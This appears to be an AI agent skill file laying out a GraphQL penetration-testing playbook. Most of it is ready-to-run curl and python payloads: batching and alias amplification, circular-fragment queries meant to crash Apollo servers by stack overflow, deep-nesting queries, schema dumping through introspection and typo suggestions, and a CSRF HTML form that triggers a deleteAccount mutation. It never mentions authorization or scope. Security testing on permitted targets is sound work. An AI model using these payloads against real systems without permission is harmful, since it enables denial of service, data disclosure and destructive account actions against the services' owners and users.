graphql-pentest · git:20260605.f6eaa61 · 2026-06-05 · sha256 19a3295ec305858e
graphql-pentest git:20260605.f6eaa61A
Immutable. This exact content is served forever at /api/v1/blob/19a3295ec305858e.
---
name: graphql-pentest
description: GraphQL endpoint discovery, resource abuse (batching, alias amplification, circular fragments, deep nesting), introspection exploitation, backend fingerprinting (Apollo vs graphql-java vs Yoga vs Hasura), and CSRF via content-type differentials. Use when target has GraphQL endpoints, JS source references /graphql paths, or introspection schema is available.
---
# GraphQL Pentesting
Systematic GraphQL security testing from endpoint discovery through resource abuse, auth bypass, and information disclosure. Covers the full attack surface: batching DoS, alias amplification, circular fragment crashes (CWE-674), deep nesting, introspection mining, content-type CSRF, and persisted query abuse.
## When to Use
- JS source contains `fetch`/`axios`/`gql` calls to `/graphql` paths
- Proxy sitemap shows `application/json` POST to GraphQL-shaped endpoints
- Static analysis matches flag GraphQL operations, mutations, or schema fragments
- Target uses known GraphQL frameworks (Apollo, graphql-java, Hasura, Yoga, Strawberry)
- Error responses contain `extensions.code`, `GRAPHQL_VALIDATION_FAILED`, or `PersistedQueryNotFound`
## Base Request
All GraphQL requests use this template (abbreviated as `GQL` in examples below):
```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json"
```
## Phase 1: Endpoint Discovery
### Common Paths
Probe these paths with `POST {"query":"{__typename}"}` and `Content-Type: application/json`:
```
/graphql /api/graphql /v1/graphql
/gql /api/gql /v2/graphql
/query /api/query /graphiql
/g/api/graphql /g/api/*/graphql /graphql/console
/playground /altair /voyager
/graphql/schema.json /graphql/schema.graphql
```
For microservice architectures, enumerate service-specific paths:
```
/api/<service>/graphql (e.g., /api/comments-server/graphql)
/g/api/<service>/graphql (gateway prefix)
/<service>/graphql (direct service routing)
```
**Source-driven discovery:** Extract GraphQL paths from JS bundles. Search for `fetch("`, `axios.post("`, `gql\``, `useQuery`, `useMutation`, `createHttpLink`, `ApolloClient`, `graphql-tag` in static analysis matches or source maps.
### Validation
For each discovered endpoint, send:
```bash
GQL POST "https://TARGET/graphql" -d '{"query":"{__typename}"}'
```
- `200 {"data":{"__typename":"Query"}}` = active GraphQL endpoint
- `401`/`403` = active but requires auth
- `400 "Must provide query string"` = active (different framework)
- `404`/`405` = not routed
## Phase 2: Backend Fingerprinting
Identify the backend before testing — it determines which attacks apply. Full differential table in `references/fingerprints.md`.
**Key differential:** Apollo Server (Node.js) does NOT validate circular fragments by default. graphql-java does. This is the most reliable fingerprint and the highest-value DoS vector.
```bash
# Fingerprint via circular fragment (most reliable)
GQL POST "https://TARGET/graphql" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
```
- `500 Internal Server Error` = Apollo Server (vulnerable to CWE-674)
- `200` + `FragmentCycle not allowed` = graphql-java (safe)
- `200` + `Cannot spread fragment` = Yoga/validated
## Phase 3: Capability Matrix
Test every discovered endpoint for each capability. Build a matrix.
| Test | Payload | Vulnerable if |
|------|---------|---------------|
| Batching | `[{"query":"{__typename}"},{"query":"{__typename}"}]` | Both execute (two results returned) |
| Batch limit | Increment array size until rejection | Find the ceiling (e.g., 5, 30, unlimited) |
| Aliases | `{"query":"{a1:__typename a2:__typename ... aN:__typename}"}` | Returns N results; find the ceiling |
| Introspection | `{"query":"{__schema{types{name}}}"}` | Returns type list |
| Partial introspection | `{"query":"{__schema{queryType{name}}}"}` | Top-level works but nested fields stripped |
| Circular fragments | `{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}` | HTTP 500 |
| Deep nesting | Recursive `{ field { field { field ... } } }` at depth 50+ | No depth limit rejection |
| Directive overload | `{"query":"{__typename @skip(if:false) @skip(if:false) ...x100}"}` | Accepted without limit |
| GET method | `GET /graphql?query={__typename}` | Executes (enables CSRF without preflight) |
| `application/graphql` CT | Body: `{__typename}` with `Content-Type: application/graphql` | Executes (CSRF vector: no JSON = no preflight) |
| APQ | `{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}` | `PERSISTED_QUERY_NOT_FOUND` (APQ enabled) |
| WebSocket | `Upgrade: websocket` on graphql path | Subscription endpoint active |
| Rate limiting | 50 requests in 5s | No 429 responses |
### Matrix Template
Record results per endpoint:
```
| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit |
|----------|-------|---------|---------------|-----------|-------|-----|---------|------------|
| /graphql | [result] | [limit] | [full/partial/off] | [500/safe] | [limit] | [y/n] | [y/n] | [y/n] |
```
## Phase 4: Resource Abuse (DoS)
### 4A: Batching Amplification
If batching is enabled, multiply expensive operations:
```bash
# Generate batched payload (N copies of expensive query)
python3 -c "
import json
q = {'query': '{session { id email name }}'} # expensive resolver
print(json.dumps([q]*30))
" > /tmp/batch_payload.json
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/batch_payload.json
```
**Proof methodology:** Compare baseline (single query) vs batched response time. Document the multiplier.
- Baseline: `{session{id}}` = 150ms
- Batched 30x: 30 copies = 4500ms (30x amplification)
### 4B: Alias Amplification
If aliases are unlimited or high-limit, multiply within a single query:
```bash
# Generate alias payload
python3 -c "
aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)])
import json
print(json.dumps({'query': '{' + aliases + '}'}))
" > /tmp/alias_payload.json
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/alias_payload.json
```
**Combined vector:** If both batching and aliases work, multiply: `batch_limit x alias_limit = total_ops`. Example: 5 batches x 1000 aliases = 5000 resolver invocations in one HTTP request.
### 4C: Circular Fragment DoS (CWE-674)
Triggers uncontrolled recursion on Apollo Server (Node.js) backends that skip `NoFragmentCycles` validation.
```bash
# 2-way cycle (minimal)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
```
**Escalation variants:**
```
2-way: fragment A on Query{...B} fragment B on Query{...A} query{...A}
3-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A}
5-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A}
```
If batching is also enabled, batch N circular fragment queries for N stack overflows per request:
```bash
python3 -c "
import json
q = {'query': 'fragment A on Query{...B} fragment B on Query{...A} query{...A}'}
print(json.dumps([q]*30))
" > /tmp/batch_circ_payload.json
```
**Impact evidence:**
- `500 Internal Server Error` = unhandled exception (server crash)
- `"Maximum call stack size exceeded"` in response = Node.js stack overflow (process kill)
- Response body contains `RangeError` = confirmed CWE-674
### 4D: Deep Nesting
For targets with recursive type relationships (e.g., `User.friends` returns `[User]`):
```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}'
```
Test incrementally: depth 10, 20, 50, 100. Document where depth limiting kicks in (if ever).
## Phase 5: Information Disclosure
### 5A: Introspection Mining
If introspection is enabled (full or partial), dump the schema:
```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"}' \
| python3 -m json.tool > /tmp/schema.json
```
**What to extract:**
- Mutation names (state-changing operations: `deleteUser`, `updateRole`, `createPayment`)
- Types with PII fields (`email`, `phone`, `ssn`, `password`, `token`)
- Resolver arguments that accept IDs (IDOR candidates)
- Subscription types (real-time data exfil)
- Deprecated fields (may have weaker auth)
### 5B: Field Suggestion Exploitation
When introspection is disabled, submit typos and read error suggestions:
```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{usre{id}}"}'
# Response: "Did you mean 'user'?" -> schema enumeration via typos
```
Automate with a wordlist of common field/type names.
### 5C: Configuration Endpoints
Check for adjacent configuration endpoints near GraphQL paths:
```
/graphql/env /graphql/health /graphql/metrics
/api/graphql/env /api/graphql/config /api/graphql/debug
/<service>/env /<service>/health /<service>/config
```
These can leak Sentry DSNs, feature flags, build hashes, monitoring URLs, and internal service topology.
## Phase 6: Auth and Access Control
### 6A: Content-Type CSRF
If an endpoint accepts `application/graphql` or GET queries, CSRF is possible without preflight:
```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/graphql" \
-d '{deleteAccount{success}}'
```
If the mutation executes, state-changing CSRF is confirmed. Build PoC HTML form:
```html
<form action="https://TARGET/graphql" method="POST" enctype="text/plain">
<input name='{"query":"mutation{deleteAccount{success}}","a":"' value='"}' />
<input type="submit" value="Click me" />
</form>
```
### 6B: Unauthenticated Access Probing
Test every endpoint without auth tokens:
```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
```
- `200` with data = unauthenticated access (test mutations next)
- `401`/`403` = auth required (expected)
### 6C: Persisted Query Hash Enumeration
If APQ is enabled (`PERSISTED_QUERY_NOT_FOUND`), known operation hashes bypass query allowlists. Extract hashes from JS bundles by grepping for `sha256Hash` followed by 64 hex chars.
## Proof Methodology
### Timing-Based Evidence
For all DoS vectors, the proof is the response time differential:
```bash
# Step 1: Baseline (3 samples)
for i in 1 2 3; do
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
done
# Step 2: Amplified (single request)
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d @/tmp/amplified_payload.json
# Step 3: Document multiplier
# Baseline avg: 0.15s, Amplified: 6.2s = 41x amplification
```
### Stack Overflow Evidence
For circular fragment DoS, capture the error response body showing `RangeError` or `Maximum call stack size exceeded`. The 500 alone is the finding; the stack trace is bonus evidence.
## Chain With
- **auth-matrix-testing** — after mapping mutations via introspection, test per-resolver authorization
- **race-condition-single-packet** — batch + alias amplification as race condition trigger mechanism
- **orm-filter-data-leak** — GraphQL filter/search arguments often map to ORM queries with traversable relationships
- **saas-provider-url-ssrf** — GraphQL mutations accepting URLs (webhooks, avatars, imports) as SSRF sinks
- **blind-ssrf-chains** — GraphQL connector/datasource mutations as blind SSRF entry points
- **h2-waf-bypass** — if WAF blocks GraphQL payloads, escalate via HTTP/2 framing
- **cspt-xss** — SPA fetch paths derived from URL params that hit GraphQL endpoints
## Rules
- **Build the matrix first.** Test every endpoint for every capability before exploiting anything. The matrix reveals which endpoints are soft targets.
- **Fingerprint the backend.** Apollo vs graphql-java determines whether circular fragments crash the server. Do not waste time on CWE-674 against graphql-java.
- **Timing proof is king.** For DoS, the response time differential (baseline vs amplified) is the cleanest evidence. Always measure baseline first.
- **Circular fragments are not batching.** They are separate vulnerability classes (CWE-674 vs CWE-400). Report them separately even if on the same endpoint.
- **Check batch + alias combined.** The most powerful amplification is batch_limit x alias_limit. A 5-batch endpoint with unlimited aliases yields 5000+ ops per request.
- **application/graphql is a CSRF vector.** If mutations execute via non-JSON content types, CSRF is possible without CORS preflight. Always test this.
- **Introspection feeds everything.** Even partial introspection (top-level types) reveals expensive resolvers for alias amplification and mutation names for auth testing.
## Reference
- [GraphQL Spec 5.5.2.2: Fragment Spreads Must Not Form Cycles](https://spec.graphql.org/October2021/#sec-Fragment-spreads-must-not-form-cycles)
- [CWE-674: Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html)
- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)
- [OWASP GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)
- [PortSwigger: Exploiting GraphQL](https://portswigger.net/web-security/graphql)